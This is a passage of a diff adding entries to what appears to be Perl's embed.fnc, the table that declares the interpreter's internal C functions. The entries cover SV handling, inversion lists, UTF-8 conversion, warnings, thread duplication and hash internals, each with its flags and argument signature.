+ApdR |bool |sv_does_sv |NN SV* sv|NN SV* namesv|U32 flags
+ApdR |bool |sv_does_pv |NN SV* sv|NN const char *const name|U32 flags
+ApdR |bool |sv_does_pvn |NN SV* sv|NN const char *const name|const STRLEN len \
+ |U32 flags
+Amd |I32 |sv_eq |NULLOK SV* sv1|NULLOK SV* sv2
+Apd |I32 |sv_eq_flags |NULLOK SV* sv1|NULLOK SV* sv2|const U32 flags
+Apd |void |sv_free |NULLOK SV *const sv
+poMX |void |sv_free2 |NN SV *const sv|const U32 refcnt
+: Used only in perl.c
+pd |void |sv_free_arenas
+Apd |char* |sv_gets |NN SV *const sv|NN PerlIO *const fp|I32 append
+Apd |char* |sv_grow |NN SV *const sv|STRLEN newlen
+Apd |void |sv_inc |NULLOK SV *const sv
+Apd |void |sv_inc_nomg |NULLOK SV *const sv
+Amdb |void |sv_insert |NN SV *const bigstr|const STRLEN offset \
+ |const STRLEN len|NN const char *const little \
+ |const STRLEN littlelen
+Apd |void |sv_insert_flags|NN SV *const bigstr|const STRLEN offset|const STRLEN len \
+ |NN const char *const little|const STRLEN littlelen|const U32 flags
+Apd |int |sv_isa |NULLOK SV* sv|NN const char *const name
+Apd |int |sv_isobject |NULLOK SV* sv
+Apd |STRLEN |sv_len |NULLOK SV *const sv
+Apd |STRLEN |sv_len_utf8 |NULLOK SV *const sv
+p |STRLEN |sv_len_utf8_nomg|NN SV *const sv
+Apd |void |sv_magic |NN SV *const sv|NULLOK SV *const obj|const int how \
+ |NULLOK const char *const name|const I32 namlen
+Apd |MAGIC *|sv_magicext |NN SV *const sv|NULLOK SV *const obj|const int how \
+ |NULLOK const MGVTBL *const vtbl|NULLOK const char *const name \
+ |const I32 namlen
+#ifndef PERL_NO_INLINE_FUNCTIONS
+Ein |bool |sv_only_taint_gmagic|NN SV *sv
+#endif
+: exported for re.pm
+EXp |MAGIC *|sv_magicext_mglob|NN SV *sv
+ApdbamR |SV* |sv_mortalcopy |NULLOK SV *const oldsv
+XpaR |SV* |sv_mortalcopy_flags|NULLOK SV *const oldsv|U32 flags
+ApdR |SV* |sv_newmortal
+Apd |SV* |sv_newref |NULLOK SV *const sv
+Ap |char* |sv_peek |NULLOK SV* sv
+Apd |void |sv_pos_u2b |NULLOK SV *const sv|NN I32 *const offsetp|NULLOK I32 *const lenp
+Apd |STRLEN |sv_pos_u2b_flags|NN SV *const sv|STRLEN uoffset \
+ |NULLOK STRLEN *const lenp|U32 flags
+Apd |void |sv_pos_b2u |NULLOK SV *const sv|NN I32 *const offsetp
+Apd |STRLEN |sv_pos_b2u_flags|NN SV *const sv|STRLEN const offset \
+ |U32 flags
+Amdb |char* |sv_pvn_force |NN SV* sv|NULLOK STRLEN* lp
+Apd |char* |sv_pvutf8n_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd |char* |sv_pvbyten_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd |char* |sv_recode_to_utf8 |NN SV* sv|NN SV *encoding
+Apd |bool |sv_cat_decode |NN SV* dsv|NN SV *encoding|NN SV *ssv|NN int *offset \
+ |NN char* tstr|int tlen
+ApdR |const char* |sv_reftype |NN const SV *const sv|const int ob
+Apd |SV* |sv_ref |NULLOK SV *dst|NN const SV *const sv|const int ob
+Apd |void |sv_replace |NN SV *const sv|NN SV *const nsv
+Apd |void |sv_report_used
+Apd |void |sv_reset |NN const char* s|NULLOK HV *const stash
+p |void |sv_resetpvn |NULLOK const char* s|STRLEN len \
+ |NULLOK HV *const stash
+Afpd |void |sv_setpvf |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vsetpvf |NN SV *const sv|NN const char *const pat|NULLOK va_list *const args
+Apd |void |sv_setiv |NN SV *const sv|const IV num
+Apdb |void |sv_setpviv |NN SV *const sv|const IV num
+Apd |void |sv_setuv |NN SV *const sv|const UV num
+Apd |void |sv_setnv |NN SV *const sv|const NV num
+Apd |SV* |sv_setref_iv |NN SV *const rv|NULLOK const char *const classname|const IV iv
+Apd |SV* |sv_setref_uv |NN SV *const rv|NULLOK const char *const classname|const UV uv
+Apd |SV* |sv_setref_nv |NN SV *const rv|NULLOK const char *const classname|const NV nv
+Apd |SV* |sv_setref_pv |NN SV *const rv|NULLOK const char *const classname \
+ |NULLOK void *const pv
+Apd |SV* |sv_setref_pvn |NN SV *const rv|NULLOK const char *const classname \
+ |NN const char *const pv|const STRLEN n
+Apd |void |sv_setpv |NN SV *const sv|NULLOK const char *const ptr
+Apd |void |sv_setpvn |NN SV *const sv|NULLOK const char *const ptr|const STRLEN len
+Xp |void |sv_sethek |NN SV *const sv|NULLOK const HEK *const hek
+Amdb |void |sv_setsv |NN SV *dstr|NULLOK SV *sstr
+Amdb |void |sv_taint |NN SV* sv
+ApdR |bool |sv_tainted |NN SV *const sv
+Apd |int |sv_unmagic |NN SV *const sv|const int type
+Apd |int |sv_unmagicext |NN SV *const sv|const int type|NULLOK MGVTBL *vtbl
+Apdmb |void |sv_unref |NN SV* sv
+Apd |void |sv_unref_flags |NN SV *const ref|const U32 flags
+Apd |void |sv_untaint |NN SV *const sv
+Apd |void |sv_upgrade |NN SV *const sv|svtype new_type
+Apdmb |void |sv_usepvn |NN SV* sv|NULLOK char* ptr|STRLEN len
+Apd |void |sv_usepvn_flags|NN SV *const sv|NULLOK char* ptr|const STRLEN len\
+ |const U32 flags
+Apd |void |sv_vcatpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+ |NULLOK bool *const maybe_tainted
+Apd |void |sv_vcatpvfn_flags|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+ |NULLOK bool *const maybe_tainted|const U32 flags
+Apd |void |sv_vsetpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs \
+ |const I32 svmax|NULLOK bool *const maybe_tainted
+ApR |NV |str_to_version |NN SV *sv
+ApRM |SV* |swash_init |NN const char* pkg|NN const char* name|NN SV* listsv|I32 minbits|I32 none
+ApM |UV |swash_fetch |NN SV *swash|NN const U8 *ptr|bool do_utf8
+#ifdef PERL_IN_REGCOMP_C
+EiMR |SV* |add_cp_to_invlist |NULLOK SV* invlist|const UV cp
+EsM |void |_append_range_to_invlist |NN SV* const invlist|const UV start|const UV end
+EiMRn |UV* |_invlist_array_init |NN SV* const invlist|const bool will_have_0
+EsM |void |invlist_extend |NN SV* const invlist|const UV len
+EiMRn |UV |invlist_max |NN SV* const invlist
+EiM |void |invlist_set_len|NN SV* const invlist|const UV len|const bool offset
+EiMRn |bool |invlist_is_iterating|NN SV* const invlist
+#ifndef PERL_EXT_RE_BUILD
+EsM |void |invlist_replace_list_destroys_src|NN SV *dest|NN SV *src
+EiMRn |IV* |get_invlist_previous_index_addr|NN SV* invlist
+EiMn |void |invlist_set_previous_index|NN SV* const invlist|const IV index
+EiMRn |IV |invlist_previous_index|NN SV* const invlist
+EiMn |void |invlist_trim |NN SV* invlist
+EiM |void |invlist_clear |NN SV* invlist
+#endif
+EiMR |SV* |invlist_clone |NN SV* const invlist
+EiMRn |STRLEN*|get_invlist_iter_addr |NN SV* invlist
+EiMn |void |invlist_iterinit|NN SV* invlist
+EsMRn |bool |invlist_iternext|NN SV* invlist|NN UV* start|NN UV* end
+EiMn |void |invlist_iterfinish|NN SV* invlist
+EiMRn |UV |invlist_highest|NN SV* const invlist
+EMRs |SV* |_make_exactf_invlist |NN RExC_state_t *pRExC_state \
+ |NN regnode *node
+EsMR |SV* |invlist_contents|NN SV* const invlist \
+ |const bool traditional_style
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C)
+EXmM |void |_invlist_intersection |NN SV* const a|NN SV* const b|NN SV** i
+EXpM |void |_invlist_intersection_maybe_complement_2nd \
+ |NULLOK SV* const a|NN SV* const b \
+ |const bool complement_b|NN SV** i
+EXmM |void |_invlist_union |NULLOK SV* const a|NN SV* const b|NN SV** output
+EXpM |void |_invlist_union_maybe_complement_2nd \
+ |NULLOK SV* const a|NN SV* const b \
+ |const bool complement_b|NN SV** output
+EXmM |void |_invlist_subtract|NN SV* const a|NN SV* const b|NN SV** result
+EXpM |void |_invlist_invert|NN SV* const invlist
+EXMpR |SV* |_new_invlist |IV initial_size
+EXMpR |SV* |_swash_to_invlist |NN SV* const swash
+EXMpR |SV* |_add_range_to_invlist |NULLOK SV* invlist|const UV start|const UV end
+EXMpR |SV* |_setup_canned_invlist|const STRLEN size|const UV element0|NN UV** other_elements_ptr
+EXMpn |void |_invlist_populate_swatch |NN SV* const invlist|const UV start|const UV end|NN U8* swatch
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C) || defined(PERL_IN_TOKE_C)
+EXp |SV* |_core_swash_init|NN const char* pkg|NN const char* name \
+ |NN SV* listsv|I32 minbits|I32 none \
+ |NULLOK SV* invlist|NULLOK U8* const flags_p
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+EiMRn |UV* |invlist_array |NN SV* const invlist
+EiMRn |bool* |get_invlist_offset_addr|NN SV* invlist
+EiMRn |UV |_invlist_len |NN SV* const invlist
+EMiRn |bool |_invlist_contains_cp|NN SV* const invlist|const UV cp
+EXpMRn |IV |_invlist_search |NN SV* const invlist|const UV cp
+EXMpR |SV* |_get_swash_invlist|NN SV* const swash
+EXMpR |HV* |_swash_inversion_hash |NN SV* const swash
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+ApM |SV* |_get_regclass_nonbitmap_data \
+ |NULLOK const regexp *prog \
+ |NN const struct regnode *node \
+ |bool doinit \
+ |NULLOK SV **listsvp \
+ |NULLOK SV **lonly_utf8_locale \
+ |NULLOK SV **output_invlist
+EXp |void|_load_PL_utf8_foldclosures|
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined (PERL_IN_DUMP_C)
+EXMp |void |_invlist_dump |NN PerlIO *file|I32 level \
+ |NN const char* const indent \
+ |NN SV* const invlist
+#endif
+Ap |void |taint_env
+Ap |void |taint_proper |NULLOK const char* f|NN const char *const s
+ApdD |UV |to_utf8_case |NN const U8 *p \
+ |NN U8* ustrp \
+ |NULLOK STRLEN *lenp \
+ |NN SV **swashp \
+ |NN const char *normal| \
+ NULLOK const char *special
+#if defined(PERL_IN_UTF8_C)
+s |UV |_to_utf8_case |const UV uv1 \
+ |NN const U8 *p \
+ |NN U8* ustrp \
+ |NULLOK STRLEN *lenp \
+ |NN SV **swashp \
+ |NN const char *normal \
+ |NULLOK const char *special
+#endif
+Abmd |UV |to_utf8_lower |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_lower_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_upper |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_upper_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_title |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_title_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_fold |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_fold_flags|NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|U8 flags
+#if defined(PERL_IN_MG_C) || defined(PERL_IN_PP_C)
+pn |bool |translate_substr_offsets|STRLEN curlen|IV pos1_iv \
+ |bool pos1_is_uv|IV len_iv \
+ |bool len_is_uv|NN STRLEN *posp \
+ |NN STRLEN *lenp
+#endif
+#if defined(UNLINK_ALL_VERSIONS)
+Ap |I32 |unlnk |NN const char* f
+#endif
+Apd |I32 |unpack_str |NN const char *pat|NN const char *patend|NN const char *s \
+ |NULLOK const char *strbeg|NN const char *strend|NULLOK char **new_s \
+ |I32 ocnt|U32 flags
+Apd |I32 |unpackstring |NN const char *pat|NN const char *patend|NN const char *s \
+ |NN const char *strend|U32 flags
+Ap |void |unsharepvn |NULLOK const char* sv|I32 len|U32 hash
+: Used in gv.c, hv.c
+p |void |unshare_hek |NULLOK HEK* hek
+: Used in perly.y
+p |void |utilize |int aver|I32 floor|NULLOK OP* version|NN OP* idop|NULLOK OP* arg
+Ap |U8* |utf16_to_utf8 |NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+Ap |U8* |utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+AdpPR |STRLEN |utf8_length |NN const U8* s|NN const U8 *e
+ApdPR |IV |utf8_distance |NN const U8 *a|NN const U8 *b
+ApdPRn |U8* |utf8_hop |NN const U8 *s|SSize_t off
+ApMd |U8* |utf8_to_bytes |NN U8 *s|NN STRLEN *len
+Apd |int |bytes_cmp_utf8 |NN const U8 *b|STRLEN blen|NN const U8 *u \
+ |STRLEN ulen
+ApMd |U8* |bytes_from_utf8|NN const U8 *s|NN STRLEN *len|NULLOK bool *is_utf8
+ApMd |U8* |bytes_to_utf8 |NN const U8 *s|NN STRLEN *len
+ApdD |UV |utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen
+ApdD |UV |utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen
+ApMD |UV |valid_utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen
+Amd |UV |utf8_to_uvchr_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+ApdD |UV |utf8_to_uvuni_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+pM |bool |check_utf8_print |NN const U8 *s|const STRLEN len
+
+Adp |UV |utf8n_to_uvchr |NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+ApM |UV |valid_utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen
+
+Ap |UV |utf8n_to_uvuni|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+
+Adm |U8* |uvchr_to_utf8 |NN U8 *d|UV uv
+Ap |U8* |uvuni_to_utf8 |NN U8 *d|UV uv
+Adm |U8* |uvchr_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Apd |U8* |uvoffuni_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Ap |U8* |uvuni_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Apd |char* |pv_uni_display |NN SV *dsv|NN const U8 *spv|STRLEN len|STRLEN pvlim|UV flags
+ApdR |char* |sv_uni_display |NN SV *dsv|NN SV *ssv|STRLEN pvlim|UV flags
+: Used by Data::Alias
+EXp |void |vivify_defelem |NN SV* sv
+: Used in pp.c
+pR |SV* |vivify_ref |NN SV* sv|U32 to_what
+: Used in pp_sys.c
+p |I32 |wait4pid |Pid_t pid|NN int* statusp|int flags
+: Used in locale.c and perl.c
+p |U32 |parse_unicode_opts|NN const char **popt
+Ap |U32 |seed
+Xpno |double |drand48_r |NN perl_drand48_t *random_state
+Xpno |void |drand48_init_r |NN perl_drand48_t *random_state|U32 seed
+: Only used in perl.c
+p |void |get_hash_seed |NN unsigned char * const seed_buffer
+: Used in doio.c, pp_hot.c, pp_sys.c
+p |void |report_evil_fh |NULLOK const GV *gv
+: Used in doio.c, pp_hot.c, pp_sys.c
+p |void |report_wrongway_fh|NULLOK const GV *gv|const char have
+: Used in mg.c, pp.c, pp_hot.c, regcomp.c
+XEpd |void |report_uninit |NULLOK const SV *uninit_sv
+#if defined(PERL_IN_OP_C) || defined(PERL_IN_SV_C)
+p |void |report_redefined_cv|NN const SV *name \
+ |NN const CV *old_cv \
+ |NULLOK SV * const *new_const_svp
+#endif
+Apd |void |warn_sv |NN SV *baseex
+Afpd |void |warn |NN const char* pat|...
+Apd |void |vwarn |NN const char* pat|NULLOK va_list* args
+Afp |void |warner |U32 err|NN const char* pat|...
+Afp |void |ck_warner |U32 err|NN const char* pat|...
+Afp |void |ck_warner_d |U32 err|NN const char* pat|...
+Ap |void |vwarner |U32 err|NN const char* pat|NULLOK va_list* args
+#ifdef USE_C_BACKTRACE
+pd |Perl_c_backtrace*|get_c_backtrace|int max_depth|int skip
+dm |void |free_c_backtrace|NN Perl_c_backtrace* bt
+Apd |SV* |get_c_backtrace_dump|int max_depth|int skip
+Apd |bool |dump_c_backtrace|NN PerlIO* fp|int max_depth|int skip
+#endif
+: FIXME
+p |void |watch |NN char** addr
+Am |I32 |whichsig |NN const char* sig
+Ap |I32 |whichsig_sv |NN SV* sigsv
+Ap |I32 |whichsig_pv |NN const char* sig
+Ap |I32 |whichsig_pvn |NN const char* sig|STRLEN len
+#ifndef PERL_NO_INLINE_FUNCTIONS
+: used to check for NULs in pathnames and other names
+AiR |bool |is_safe_syscall|NN const char *pv|STRLEN len|NN const char *what|NN const char *op_name
+#endif
+#ifdef PERL_CORE
+inR |bool |should_warn_nl|NN const char *pv
+#endif
+: Used in pp_ctl.c
+p |void |write_to_stderr|NN SV* msv
+: Used in op.c
+p |int |yyerror |NN const char *const s
+p |int |yyerror_pv |NN const char *const s|U32 flags
+p |int |yyerror_pvn |NN const char *const s|STRLEN len|U32 flags
+: Used in perly.y, and by Data::Alias
+EXp |int |yylex
+p |void |yyunlex
+: Used in perl.c, pp_ctl.c
+p |int |yyparse |int gramtype
+: Only used in scope.c
+p |void |parser_free |NN const yy_parser *parser
+#ifdef PERL_CORE
+p |void |parser_free_nexttoke_ops|NN yy_parser *parser \
+ |NN OPSLAB *slab
+#endif
+#if defined(PERL_IN_TOKE_C)
+s |int |yywarn |NN const char *const s|U32 flags
+#endif
+#if defined(MYMALLOC)
+Ap |void |dump_mstats |NN const char* s
+Ap |int |get_mstats |NN perl_mstats_t *buf|int buflen|int level
+#endif
+Anpa |Malloc_t|safesysmalloc |MEM_SIZE nbytes
+Anpa |Malloc_t|safesyscalloc |MEM_SIZE elements|MEM_SIZE size
+Anpa |Malloc_t|safesysrealloc|Malloc_t where|MEM_SIZE nbytes
+Anp |Free_t |safesysfree |Malloc_t where
+Asrnx |void |croak_memory_wrap
+#if defined(PERL_GLOBAL_STRUCT)
+Ap |struct perl_vars *|GetVars
+Ap |struct perl_vars*|init_global_struct
+Ap |void |free_global_struct|NN struct perl_vars *plvarsp
+#endif
+Ap |int |runops_standard
+Ap |int |runops_debug
+Afpd |void |sv_catpvf_mg |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vcatpvf_mg |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_catpv_mg |NN SV *const sv|NULLOK const char *const ptr
+Apdbm |void |sv_catpvn_mg |NN SV *sv|NN const char *ptr|STRLEN len
+Apdbm |void |sv_catsv_mg |NN SV *dsv|NULLOK SV *ssv
+Afpd |void |sv_setpvf_mg |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vsetpvf_mg |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_setiv_mg |NN SV *const sv|const IV i
+Apdb |void |sv_setpviv_mg |NN SV *const sv|const IV iv
+Apd |void |sv_setuv_mg |NN SV *const sv|const UV u
+Apd |void |sv_setnv_mg |NN SV *const sv|const NV num
+Apd |void |sv_setpv_mg |NN SV *const sv|NULLOK const char *const ptr
+Apd |void |sv_setpvn_mg |NN SV *const sv|NN const char *const ptr|const STRLEN len
+Apd |void |sv_setsv_mg |NN SV *const dstr|NULLOK SV *const sstr
+Apdbm |void |sv_usepvn_mg |NN SV *sv|NULLOK char *ptr|STRLEN len
+ApR |MGVTBL*|get_vtbl |int vtbl_id
+Apd |char* |pv_display |NN SV *dsv|NN const char *pv|STRLEN cur|STRLEN len \
+ |STRLEN pvlim
+Apd |char* |pv_escape |NULLOK SV *dsv|NN char const * const str\
+ |const STRLEN count|const STRLEN max\
+ |NULLOK STRLEN * const escaped\
+ |const U32 flags
+Apd |char* |pv_pretty |NN SV *dsv|NN char const * const str\
+ |const STRLEN count|const STRLEN max\
+ |NULLOK char const * const start_color\
+ |NULLOK char const * const end_color\
+ |const U32 flags
+Afp |void |dump_indent |I32 level|NN PerlIO *file|NN const char* pat|...
+Ap |void |dump_vindent |I32 level|NN PerlIO *file|NN const char* pat \
+ |NULLOK va_list *args
+Ap |void |do_gv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK GV *sv
+Ap |void |do_gvgv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK GV *sv
+Ap |void |do_hv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK HV *sv
+Ap |void |do_magic_dump |I32 level|NN PerlIO *file|NULLOK const MAGIC *mg|I32 nest \
+ |I32 maxnest|bool dumpops|STRLEN pvlim
+Ap |void |do_op_dump |I32 level|NN PerlIO *file|NULLOK const OP *o
+Ap |void |do_pmop_dump |I32 level|NN PerlIO *file|NULLOK const PMOP *pm
+Ap |void |do_sv_dump |I32 level|NN PerlIO *file|NULLOK SV *sv|I32 nest \
+ |I32 maxnest|bool dumpops|STRLEN pvlim
+Ap |void |magic_dump |NULLOK const MAGIC *mg
+Ap |void |reginitcolors
+ApdRmb |char* |sv_2pv_nolen |NN SV* sv
+ApdRmb |char* |sv_2pvutf8_nolen|NN SV* sv
+ApdRmb |char* |sv_2pvbyte_nolen|NN SV* sv
+AmdbR |char* |sv_pv |NN SV *sv
+AmdbR |char* |sv_pvutf8 |NN SV *sv
+AmdbR |char* |sv_pvbyte |NN SV *sv
+Amdb |STRLEN |sv_utf8_upgrade|NN SV *sv
+Amd |STRLEN |sv_utf8_upgrade_nomg|NN SV *sv
+ApdM |bool |sv_utf8_downgrade|NN SV *const sv|const bool fail_ok
+Apd |void |sv_utf8_encode |NN SV *const sv
+ApdM |bool |sv_utf8_decode |NN SV *const sv
+Apdmb |void |sv_force_normal|NN SV *sv
+Apd |void |sv_force_normal_flags|NN SV *const sv|const U32 flags
+pX |SSize_t|tmps_grow_p |SSize_t ix
+Apd |SV* |sv_rvweaken |NN SV *const sv
+AnpPMd |SV* |sv_get_backrefs|NN SV *const sv
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p |int |magic_killbackrefs|NN SV *sv|NN MAGIC *mg
+Ap |OP* |newANONATTRSUB |I32 floor|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
+Am |CV* |newATTRSUB |I32 floor|NULLOK OP *o|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
+pX |CV* |newATTRSUB_x |I32 floor|NULLOK OP *o|NULLOK OP *proto \
+ |NULLOK OP *attrs|NULLOK OP *block \
+ |bool o_is_gv
+Ap |CV * |newMYSUB |I32 floor|NN OP *o|NULLOK OP *proto \
+ |NULLOK OP *attrs|NULLOK OP *block
+p |CV* |newSTUB |NN GV *gv|bool fake
+: Used in perly.y
+p |OP * |my_attrs |NN OP *o|NULLOK OP *attrs
+#if defined(USE_ITHREADS)
+ApR |PERL_CONTEXT*|cx_dup |NULLOK PERL_CONTEXT* cx|I32 ix|I32 max|NN CLONE_PARAMS* param
+ApR |PERL_SI*|si_dup |NULLOK PERL_SI* si|NN CLONE_PARAMS* param
+Apa |ANY* |ss_dup |NN PerlInterpreter* proto_perl|NN CLONE_PARAMS* param
+ApR |void* |any_dup |NULLOK void* v|NN const PerlInterpreter* proto_perl
+ApR |HE* |he_dup |NULLOK const HE* e|bool shared|NN CLONE_PARAMS* param
+ApR |HEK* |hek_dup |NULLOK HEK* e|NN CLONE_PARAMS* param
+Ap |void |re_dup_guts |NN const REGEXP *sstr|NN REGEXP *dstr \
+ |NN CLONE_PARAMS* param
+Ap |PerlIO*|fp_dup |NULLOK PerlIO *const fp|const char type|NN CLONE_PARAMS *const param
+ApR |DIR* |dirp_dup |NULLOK DIR *const dp|NN CLONE_PARAMS *const param
+ApR |GP* |gp_dup |NULLOK GP *const gp|NN CLONE_PARAMS *const param
+ApR |MAGIC* |mg_dup |NULLOK MAGIC *mg|NN CLONE_PARAMS *const param
+#if defined(PERL_IN_SV_C)
+s |SV ** |sv_dup_inc_multiple|NN SV *const *source|NN SV **dest \
+ |SSize_t items|NN CLONE_PARAMS *const param
+sR |SV* |sv_dup_common |NN const SV *const sstr \
+ |NN CLONE_PARAMS *const param
+#endif
+ApR |SV* |sv_dup |NULLOK const SV *const sstr|NN CLONE_PARAMS *const param
+ApR |SV* |sv_dup_inc |NULLOK const SV *const sstr \
+ |NN CLONE_PARAMS *const param
+Ap |void |rvpv_dup |NN SV *const dstr|NN const SV *const sstr|NN CLONE_PARAMS *const param
+Ap |yy_parser*|parser_dup |NULLOK const yy_parser *const proto|NN CLONE_PARAMS *const param
+#endif
+Apa |PTR_TBL_t*|ptr_table_new
+ApR |void* |ptr_table_fetch|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+Ap |void |ptr_table_store|NN PTR_TBL_t *const tbl|NULLOK const void *const oldsv \
+ |NN void *const newsv
+Ap |void |ptr_table_split|NN PTR_TBL_t *const tbl
+ApD |void |ptr_table_clear|NULLOK PTR_TBL_t *const tbl
+Ap |void |ptr_table_free|NULLOK PTR_TBL_t *const tbl
+#if defined(HAVE_INTERP_INTERN)
+Ap |void |sys_intern_clear
+Ap |void |sys_intern_init
+# if defined(USE_ITHREADS)
+Ap |void |sys_intern_dup |NN struct interp_intern* src|NN struct interp_intern* dst
+# endif
+#endif
+
+AmopP |const XOP * |custom_op_xop |NN const OP *o
+ApR |const char * |custom_op_name |NN const OP *o
+ApR |const char * |custom_op_desc |NN const OP *o
+pRX |XOPRETANY |custom_op_get_field |NN const OP *o|const xop_flags_enum field
+Aop |void |custom_op_register |NN Perl_ppaddr_t ppaddr \
+ |NN const XOP *xop
+
+Adp |void |sv_nosharing |NULLOK SV *sv
+Adpbm |void |sv_nolocking |NULLOK SV *sv
+Adp |bool |sv_destroyable |NULLOK SV *sv
+#ifdef NO_MATHOMS
+Adpbm |void |sv_nounlocking |NULLOK SV *sv
+#else
+Adpb |void |sv_nounlocking |NULLOK SV *sv
+#endif
+Adp |int |nothreadhook
+p |void |init_constants
+
+#if defined(PERL_IN_DOOP_C)
+sR |I32 |do_trans_simple |NN SV * const sv
+sR |I32 |do_trans_count |NN SV * const sv
+sR |I32 |do_trans_complex |NN SV * const sv
+sR |I32 |do_trans_simple_utf8 |NN SV * const sv
+sR |I32 |do_trans_count_utf8 |NN SV * const sv
+sR |I32 |do_trans_complex_utf8 |NN SV * const sv
+#endif
+
+#if defined(PERL_IN_GV_C)
+s |void |gv_init_svtype |NN GV *gv|const svtype sv_type
+s |void |gv_magicalize_isa |NN GV *gv
+s |bool|parse_gv_stash_name|NN HV **stash|NN GV **gv \
+ |NN const char **name|NN STRLEN *len \
+ |NN const char *nambeg|STRLEN full_len \
+ |const U32 is_utf8|const I32 add
+s |bool|find_default_stash|NN HV **stash|NN const char *name \
+ |STRLEN len|const U32 is_utf8|const I32 add \
+ |const svtype sv_type
+s |bool|gv_magicalize|NN GV *gv|NN HV *stash|NN const char *name \
+ |STRLEN len|bool addmg \
+ |const svtype sv_type
+s |void|maybe_multimagic_gv|NN GV *gv|NN const char *name|const svtype sv_type
+s |bool|gv_is_in_main|NN const char *name|STRLEN len \
+ |const U32 is_utf8
+s |HV* |require_tie_mod|NN GV *gv|NN const char *varpv|NN SV* namesv \
+ |NN const char *methpv|const U32 flags
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C)
+po |SV* |hfree_next_entry |NN HV *hv|NN STRLEN *indexp
+#endif
+
+#if defined(PERL_IN_HV_C)
+s |void |hsplit |NN HV *hv|STRLEN const oldsize|STRLEN newsize
+s |void |hv_free_entries |NN HV *hv
+s |SV* |hv_free_ent_ret|NN HV *hv|NN HE *entry
+sa |HE* |new_he
+sanR |HEK* |save_hek_flags |NN const char *str|I32 len|U32 hash|int flags
+sn |void |hv_magic_check |NN HV *hv|NN bool *needs_copy|NN bool *needs_store
+s |void |unshare_hek_or_pvn|NULLOK const HEK* hek|NULLOK const char* str|I32 len|U32 hash
+sR |HEK* |share_hek_flags|NN const char *str|I32 len|U32 hash|int flags
+rs |void |hv_notallowed |int flags|NN const char *key|I32 klen|NN const char *msg
+in |U32|ptr_hash|PTRV u
+s |struct xpvhv_aux*|hv_auxinit|NN HV *hv
+sn |struct xpvhv_aux*|hv_auxinit_internal|NN struct xpvhv_aux *iter
+sM |SV* |hv_delete_common|NULLOK HV *hv|NULLOK SV *keysv \
+ |NULLOK const char *key|STRLEN klen|int k_flags|I32 d_flags \
+ |U32 hash
+sM |void |clear_placeholders |NN HV *hv|U32 items
+#endif
+
+#if defined(PERL_IN_MG_C)
+s |void |save_magic_flags|I32 mgs_ix|NN SV *sv|U32 flags
+-s |int |magic_methpack |NN SV *sv|NN const MAGIC *mg|NN SV *meth
+s |SV* |magic_methcall1|NN SV *sv|NN const MAGIC *mg \
+ |NN SV *meth|U32 flags \
+ |int n|NULLOK SV *val
+s |void |restore_magic |NULLOK const void *p
+s |void |unwind_handler_stack|NULLOK const void *p
+s |void |fixup_errno_string|NN SV* sv
+
+#endif
+
+#if defined(PERL_IN_OP_C)
+sRn |bool |is_handle_constructor|NN const OP *o|I32 numargs
+sR |I32 |assignment_type|NULLOK const OP *o
+s |void |forget_pmop |NN PMOP *const o
+s |void |find_and_forget_pmops |NN OP *o
+s |void |cop_free |NN COP *cop
+s |OP* |modkids |NULLOK OP *o|I32 type
